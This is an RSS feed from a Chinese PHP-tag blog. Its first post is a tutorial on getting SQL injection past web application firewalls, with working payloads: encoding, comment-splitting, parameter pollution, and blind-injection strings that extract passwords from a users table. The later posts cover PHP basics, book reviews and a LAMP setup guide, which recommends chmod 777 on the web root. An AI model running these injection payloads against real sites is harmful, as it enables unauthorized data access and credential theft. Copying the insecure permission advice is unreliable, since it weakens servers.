<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Php on bystander&#39;s blog</title>
    <link>http://blog.leaver.me/tags/php/</link>
    <description>Recent content in Php on bystander&#39;s blog</description>
    <generator>Hugo</generator>
    <language>zh-CN</language>
    <lastBuildDate>Sun, 06 Jan 2013 13:15:37 +0000</lastBuildDate>
    <atom:link href="http://blog.leaver.me/tags/php/rss.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>SQL注入中的WAF绕过技术</title>
      <link>http://blog.leaver.me/2013/01/06/sql%E6%B3%A8%E5%85%A5%E4%B8%AD%E7%9A%84waf%E7%BB%95%E8%BF%87%E6%8A%80%E6%9C%AF/</link>
      <pubDate>Sun, 06 Jan 2013 13:15:37 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/01/06/sql%E6%B3%A8%E5%85%A5%E4%B8%AD%E7%9A%84waf%E7%BB%95%E8%BF%87%E6%8A%80%E6%9C%AF/</guid>
      <description>&lt;p&gt;作者：bystander
博客：&lt;a href=&#34;http://leaver.me/&#34;&gt;http://leaver.me&lt;/a&gt;
论坛：法克论坛&lt;/p&gt;
&lt;p&gt;目录&lt;/p&gt;
&lt;p&gt;1.&lt;span style=&#34;font-family: 宋体;&#34;&gt;大小写绕过&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;2.&lt;span style=&#34;font-family: 宋体;&#34;&gt;简单编码绕过&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;3.&lt;span style=&#34;font-family: 宋体;&#34;&gt;注释绕过&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;4.&lt;span style=&#34;font-family: 宋体;&#34;&gt;分隔重写绕过&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;5.Http&lt;span style=&#34;font-family: 宋体;&#34;&gt;参数污染&lt;/span&gt;(HPP)&lt;/p&gt;
&lt;p&gt;6.&lt;span style=&#34;font-family: 宋体;&#34;&gt;使用逻辑运算符&lt;/span&gt; or /and&lt;span style=&#34;font-family: 宋体;&#34;&gt;绕过&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;7.&lt;span style=&#34;font-family: 宋体;&#34;&gt;比较操作符替换&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;8.&lt;span style=&#34;font-family: 宋体;&#34;&gt;同功能函数替换&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;9.&lt;span style=&#34;font-family: 宋体;&#34;&gt;盲注无需&lt;/span&gt;or&lt;span style=&#34;font-family: 宋体;&#34;&gt;和&lt;/span&gt;and&lt;/p&gt;
&lt;p&gt;10.&lt;span style=&#34;font-family: 宋体;&#34;&gt;加括号&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;11.缓冲区溢出绕过&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;1. 大小写绕过&lt;/span&gt;&lt;/span&gt;
这个大家都很熟悉，对于一些太垃圾的WAF效果显著，比如拦截了union,那就使用Union UnIoN等等。绕过&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;2.  简单编码绕过&lt;/span&gt;&lt;/span&gt;
比如WAF检测关键字，那么我们让他检测不到就可以了。比如检测union,那么我们就用%55 也就是U的16进制编码来代替U, union写成 %55nION，结合大小写也可以绕过一些WAF，你可以随意替换一个或几个都可以。。&lt;/p&gt;
&lt;p&gt;也还有大家在Mysql注入中比如表名或是load文件的时候，会把文件名或是表明用16进制编码来绕过WAF都是属于这类。&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;3.  注释绕过&lt;/span&gt;&lt;/span&gt;
这种情况比较少，适用于WAF只是过滤了一次危险的语句，而没有阻断我们的整个查询&lt;/p&gt;
&lt;div&gt;
&gt; /?id=1+union+select+1,2,3/*
&lt;/div&gt;
比如对于上面这条查询，WAF过滤了一次union和select，那么我们在之前在写一个注释的语句，让他把注释里面的过滤掉，，并不影响我们的查询。。
所以绕过语句就是：
&lt;div&gt;
&gt; /?id=1/*union*/union/*select*/select+1,2,3/*
&lt;/div&gt;
还有一种和注释有关的绕过：
比如
&lt;div&gt;
&gt; index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4….
&lt;/div&gt;
可以看到，只要我们把敏感词放到注释里面，注意，前面要加一个！
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;4.   分隔重写绕过&lt;/span&gt;&lt;/span&gt;
还是上面的例子，适用于那种WAF采用了正则表达式的情况，会检测所有的敏感字，而不在乎你写在哪里，有几个就过滤几个。。
我们可以通过注释分开敏感字,这样WAF的正则不起作用了，而带入查询的时候并不影响我们的结果&lt;/p&gt;
&lt;div&gt;
&gt; /?id=1+un/**/ion+sel/**/ect+1,2,3--
&lt;/div&gt;
至于重写绕过，适用于WAF过滤了一次的情况，和我们上传aaspsp马的原理一样，我们可以写出类似Ununionion这样的。过滤一次union后就会执行我们的查询了
&lt;div&gt;
&gt; ?id=1 ununionion select 1,2,3--
&lt;/div&gt;
&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;5.   Http参数污染(HPP)&lt;/span&gt;&lt;/span&gt;
比如我们有这样的语句：
&lt;div&gt;
&gt; /?id=1 union select+1,2,3+from+users+where+id=1--
&lt;/div&gt;
我们可以重复一次前面的id值添加我们的值来绕过，&amp;amp;id=会在查询时变成逗号
&lt;div&gt;
&gt; /?id=1 union select+1&amp;amp;id=2,3+from+users+where+id=1--
&lt;/div&gt;
这种情况成功的条件比较多，取决于具体的WAF实现。。
&lt;p&gt;再给出一个例子说明用法&lt;/p&gt;
&lt;div&gt;
&gt; /?id=1/**/union/*&amp;amp;id=*/select/*&amp;amp;id=*/pwd/*&amp;amp;id=*/from/*&amp;amp;id=*/users--
&lt;/div&gt;
具体分析的话就涉及到查询语句的后台代码的编写了。
比如服务器是这样写的：
&lt;div&gt;
&gt; select * from table where a=&#34;.$_GET[&#39;a&#39;].&#34; and b=&#34;.$_GET[&#39;b&#39;].&#34; limit &#34;.$_GET[&#39;c&#39;];
&lt;/div&gt;
那我们可以构造这样的注入语句：
&lt;div&gt;
&gt; /?a=1+union/*&amp;amp;b=*/select+1,pass/*&amp;amp;c=*/from+users--
&lt;/div&gt;
最终解析为：
&lt;div&gt;
&gt; select * from table where a=1 union/* and b=*/select 1,pass/*limit */from users--
&lt;/div&gt;
可以看到，这种方式其实比较适合白盒测试，而对于黑盒渗透的话，用起来比较麻烦。但是也可以一试。
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;6. 使用逻辑运算符 or /and绕过&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div&gt;
&gt; /?id=1+OR+0x50=0x50
&gt; /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
&lt;/div&gt;
顺便解释一下第二句话，从最里面的括号开始分析，select+pwd+from+users+limit+1,1 这句是从users表里查询pwd字段的第一条记录，比如是admin，
然后mid(上一句),1,1就是取admin的第一个字符，也就是a，
lower(上一句)就是把字符转换为小写，
然后ascii就是把a转换成ascii码，看等不等于74.
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;7.  比较操作符替换&lt;/span&gt;&lt;/span&gt;
包括!= 不等于，&amp;lt;&amp;gt;不等于，&amp;lt; 小于，&amp;gt;大于，这些都可以用来替换=来绕过，
比如上一个例子，要判断是不是74，假设=被过滤，那么我们可以判断是不是大于73，是不是小于75，然后就知道是74了。。很多WAF都会忘了这个。&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;8.  同功能函数替换&lt;/span&gt;&lt;/span&gt;
Substring()可以用mid(),substr()这些函数来替换，都是用来取字符串的某一位字符的。
Ascii()编码可以用hex(),bin(),也就是16进制和二进制编码替换
Benchmark() 可以用sleep()来替换，这两个使用在基于延时的盲注中，有机会给大家介绍
如果连这些都屏蔽了，还有一种新的方法&lt;/p&gt;</description>
    </item>
    <item>
      <title>php的一些知识点</title>
      <link>http://blog.leaver.me/2012/04/17/php%E7%9A%84%E4%B8%80%E4%BA%9B%E7%9F%A5%E8%AF%86%E7%82%B9/</link>
      <pubDate>Tue, 17 Apr 2012 17:37:18 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/17/php%E7%9A%84%E4%B8%80%E4%BA%9B%E7%9F%A5%E8%AF%86%E7%82%B9/</guid>
      <description>&lt;p&gt;一.php中单双引号的区别&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&amp;quot;&amp;quot; 双引号里面的字段会经过编译器解释，然后再当作HTML代码输出。&lt;/li&gt;
&lt;li&gt;&amp;rsquo;&amp;rsquo; 单引号里面的不进行解释，直接输出。
从字面意思上就可以看出，单引号比双引号要快了。单引号支持&#39;和\的转义，但其他一些转义字符就必须是在双引号里了。
例如：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre lang=&#34;php&#34;&gt;
$name=&#39;my name is bystander&#39;;
echo $name //结果是:my name is bystander
echo &#39;$name&#39; //结果是:$name
echo &#34;$name&#34; //结果是:my name is bystander
&lt;/pre&gt;
&lt;p&gt;二.require和include的区别
　　在于，出现错误时，require是error,也就是说脚本会停止执行，而include是warning。也就说说代码会继续执行，另外，无论require的位置如何。即使是放在一个if代码块里面。他也会将指定文件包含进来。。即使该if部分不执行。顺带说下include 和include_once。其实类似于c里面的ifdef。。就是只包含一次。不重复包含。&lt;/p&gt;
&lt;p&gt;三。php类
php类的构造函数命名为_construct.析构函数为_destruct，需要调用父类的构造函数时，使用parent::_construct()来调用&lt;/p&gt;
&lt;p&gt;四。pear包
PEAR是&amp;quot;PHP Extension and Application Repository&amp;quot;的缩写，也就是一个PHP扩展和应用的管理工具，
具体可参考：&lt;a href=&#34;http://www.berlinix.com/php_pear.html&#34;&gt;http://www.berlinix.com/php_pear.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;五。PDO
PDO(PHP Data Objects)扩展为PHP访问数据库定义了一个轻量级的、一致性的接口，它提供了一个数据访问抽象层，这样，无论使用什么数据库，都可以通过一致的函数执行查询和获取数据。PDO随PHP5.1发行，在PHP5.0的PECL扩展中也可以使用。其实就是一个访问数据库的一个类，连数据库的时候实例一个。调用方法就这样。前提是这个装好了。
linux下具体可以参考：&lt;a href=&#34;http://www.pkphp.com/2008/04/24/linux%E4%B8%8B%E6%89%8B%E5%8A%A8%E5%AE%89%E8%A3%85pdo_mysql/&#34;&gt;LINUX下手动安装PDO_MYSQL&lt;/a&gt;
window下和例子（例子也可以在linux下使用）参考此文：&lt;a href=&#34;http://blog.csdn.net/heiyeshuwu/article/details/1355970&#34;&gt;PHP5中PDO的简单使用&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;六。Zend&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;准确地讲 Zend 框架究竟是什么呢？Zend 框架具有以下特征：&lt;/li&gt;
&lt;li&gt;是基于 PHP 建立的。&lt;/li&gt;
&lt;li&gt;是面向对象的。&lt;/li&gt;
&lt;li&gt;使用 MVC 范例。&lt;/li&gt;
&lt;li&gt;具有开放源码贡献者。&lt;/li&gt;
&lt;li&gt;有贡献者负责保证他们的代码不是他人的知识产权。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;通过建立 MVC 模式，Zend 框架的目标是使编程生活更加轻松，这不仅体现在通用领域，而且对您始终想要做的具体的事情也是如此，比如访问数据库或输出 PDF 文件。&lt;/p&gt;
&lt;p&gt;具体可参考：&lt;a href=&#34;https://www.ibm.com/developerworks/cn/opensource/os-php-zend1/&#34;&gt;理解 Zend 框架，第 1 部分: 基础&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;七。GD库
　　百科上的解释：　GD库，是php处理图形的扩展库，GD库提供了一系列用来处理图片的API，使用GD库可以处理图片，或者生成图片。 在网站上GD库通常用来生成缩略图，&lt;mark&gt;或者用来对图片加水印，或者用来生成汉字验证码，或者对网站数据生成报表等&lt;/mark&gt;。在PHP处理图像，可使用GD库，
　　如何检测Lamp是否已经有了GD库呢。将下面的代码&lt;pre lang=&#34;php&#34;&gt;&lt;?php phpinfo(); ?&gt; &lt;/pre&gt;
保存为phpinfo.php，然后传到服务器的网站目录下，在浏览器访问这个文件，如: localhost/phpinfo.php，然后找到一行为GD Support，后面如果是enabled，那就说明系统已经有了GD库
　　使用的例子可以参见官方一个例子，在指定的图片上添加文字。
例子参见：&lt;a href=&#34;http://www.php.net/manual/en/image.examples-png.php&#34;&gt;http://www.php.net/manual/en/image.examples-png.php&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;八。Smarty引擎
　　Smarty主要就是分离了前台和后台的实现。使得多人合作开发程序更加方便。因为前后台在代码上基本完全分离，一般实现就是一个模板文件，以tpl结尾，一个php文件。在tpl文件里面用变量来指示内容。而在php文件中将内容传递过去。来完成页面显示。
参考：&lt;a href=&#34;http://blog.csdn.net/phphot/article/details/2190534&#34;&gt;smarty安装及初级使用&lt;/a&gt;只看第一部分的例子即可。&lt;/p&gt;</description>
    </item>
    <item>
      <title>《PHP和MySQL程序设计》&amp; 《细说PHP》</title>
      <link>http://blog.leaver.me/2012/04/16/php%E5%92%8Cmysql%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1-%E7%BB%86%E8%AF%B4php/</link>
      <pubDate>Mon, 16 Apr 2012 22:04:41 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/16/php%E5%92%8Cmysql%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1-%E7%BB%86%E8%AF%B4php/</guid>
      <description>&lt;p&gt;　　&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20636_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5e90de21e5b4fc73c2ddcbabdb6dc50e8a80ae2f.jpg&#34;&gt;&lt;/a&gt;
　　今天从早上到下午一使劲把&lt;a href=&#34;http://book.douban.com/subject/3693851/&#34;&gt;PHP和MySQL程序设计&lt;/a&gt; 这本书读完了。因为昨天读完了head first的那本php书。所以看这本书难度也不是很大。先对这本书整体评价一下。&lt;/p&gt;
&lt;p&gt;　　这本书我其实之前并没有在豆瓣上看看评论。豆瓣也不适合看这类专业书的评论。只是看到是第三版。说明这本书还是不错的。一般国内的专业书很少看到出过第二版的。。因为质量实在是太差了。选好书的一个方法就是看版本。。能出到第N版的都是有其可圈可点之处的。于是把这本书拿来就看。&lt;/p&gt;
&lt;p&gt;　　书从头看到尾。我只能说大叔把代码贴的太多了。但是好&lt;span style=&#34;color: #ff0000;&#34;&gt;&lt;span style=&#34;color: #000000;&#34;&gt;事情&lt;/span&gt;就是代码给出了执行结果&lt;/span&gt;。这基本上方便了我直接看代码。文字部分跳过一些。但是，大叔，我也是人啊。 你把代码贴这么多。。函数给这么全。这也记不住啊。而且书也并不是有个循序渐进的过程。对比昨天看的head first的书。深深体会到一本好的入门书是多么重要啊。这本书并不如它的宣传那样适合新手读。很多地方都用了结果还没解释。到后面又开始解释。完全无条理。。&lt;span style=&#34;color: #ff0000;&#34;&gt;最最重要的是错误太多了。。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;　　不过。对我还是有很大收获的。因为看了这本书就发现head first的书确实是入门书。讲的比较浅。（但非常重要），一些框架。模板。类在这里面都有讨论。需要花些时间搞清楚。我已经记下来了。稍后准备阅读一下这些主题，&lt;/p&gt;
&lt;p&gt;　　中午还用了一个多小时看完了《细说PHP》，不便于多说什么。。和《PHP和MySQL程序设计》的区别就是&lt;span style=&#34;color: #ff0000;&#34;&gt;代码没有执行结果&lt;/span&gt;。讲的倒还算清楚。因为我看这本书不仔细。只是捡自己不会的去看。所以对本书评价不是太高。相比前一本书。&lt;span style=&#34;color: #ff0000;&#34;&gt;这本书列的函数没那么多&lt;/span&gt;。都是比较实用的。。这点很好。但是看豆瓣和亚马逊到评分倒还挺高的。。令我情何以堪啊。
　　一会把一点知识点贴上来。记录一下今日的收获吧。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>lamp开发环境简单搭建</title>
      <link>http://blog.leaver.me/2012/04/15/lamp%E5%BC%80%E5%8F%91%E7%8E%AF%E5%A2%83%E7%AE%80%E5%8D%95%E6%90%AD%E5%BB%BA/</link>
      <pubDate>Sun, 15 Apr 2012 17:54:27 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/15/lamp%E5%BC%80%E5%8F%91%E7%8E%AF%E5%A2%83%E7%AE%80%E5%8D%95%E6%90%AD%E5%BB%BA/</guid>
      <description>&lt;p&gt;　　因为一些事情，要去学习php开发。所以呢。今天就先搭建一下php开发环境，其实windows下搭建相对比较简单，也有一键安装包。比如&lt;a href=&#34;http://www.appservnetwork.com/&#34;&gt;AppServ&lt;/a&gt;，但是因为考虑到以后的一些事情，于是还是采用LAMP开发环境。&lt;/p&gt;
&lt;p&gt;　　我是用Ubuntu来做，本地刚好有Ubuntu的镜像。。虚拟里面来测试。首先就是在虚拟机里安装Ubuntu。这个不多说。大家都会。安装好以后。登陆进来。命令行或是图形界面都可以。&lt;/p&gt;
&lt;p&gt;　　新版本的Ubuntu貌似是没了新立得管理器。所以使用命令来安装更简单。打开终端。切换到root。如果不能切换到root。&lt;a href=&#34;http://leaver.me/archives/205.html&#34;&gt;参考此文&lt;/a&gt;。切换到root后。输入&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;apt-get install apache2 mysql-server mysql-client php5 php5-gd php5-mysql&lt;/pre&gt;
&lt;p&gt;　　回车后就开始自动下载了。大概几分钟后就会出现MySql的安装设置界面&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20538_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;
　　输入你想设置的mysql的登录密码。然后需要再输入一遍&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20539_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;
ok。等会就安装完成了。。就这么简单。。
然后进行一些后续的设置&lt;/p&gt;
&lt;p&gt;　　默认网站的目录在/usr/www.这个目录的权限如下图。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20541_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　为了以后方便。设置为777会更好一些。。执行如下命令：&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;sudo chmod 777 /var/www &lt;/pre&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20542_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;
　　然后是启用 apache的 mod_rewrite 模块
输入如下命令：&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;sudo a2enmod rewrite&lt;/pre&gt;
&lt;p&gt;　　然后继续输入如下命令来重启 Apache服务器：&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;sudo /etc/init.d/apache2 restart&lt;/pre&gt;
&lt;p&gt;　　Apache重启后我们可以测试一下，在 /var/www目录下新建文件 test.php，写入代码： &lt;pre lang=&#34;php&#34;&gt; &lt;?php phpinfo(); ?&gt; &lt;/pre&gt;保存，在地址栏输入 http://127.0.0.1/test.php 或 http://localhost/test.php ，如果正确出现了如下 php 配置信息则表明 LAMP Apache已经正常工作了
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20543_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　还可以测试一下mysql是否正常。这个直接在终端下输入&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;mysql -u root -p&lt;/pre&gt;
&lt;p&gt;　　然后根据提示输入密码就出现如下的图
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20544_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;
　　表示已经登录到mysql了。说明mysql可以了。可以继续输入 &lt;pre lang=&#34;php&#34;&gt;show databases;&lt;/pre&gt;来显示所有的数据库。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20547_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;参考文章：&lt;a href=&#34;http://blog.csdn.net/xiaojianpitt/article/details/6326834&#34;&gt;http://blog.csdn.net/xiaojianpitt/article/details/6326834&lt;/a&gt;&lt;/p&gt;</description>
    </item>
  </channel>
</rss>
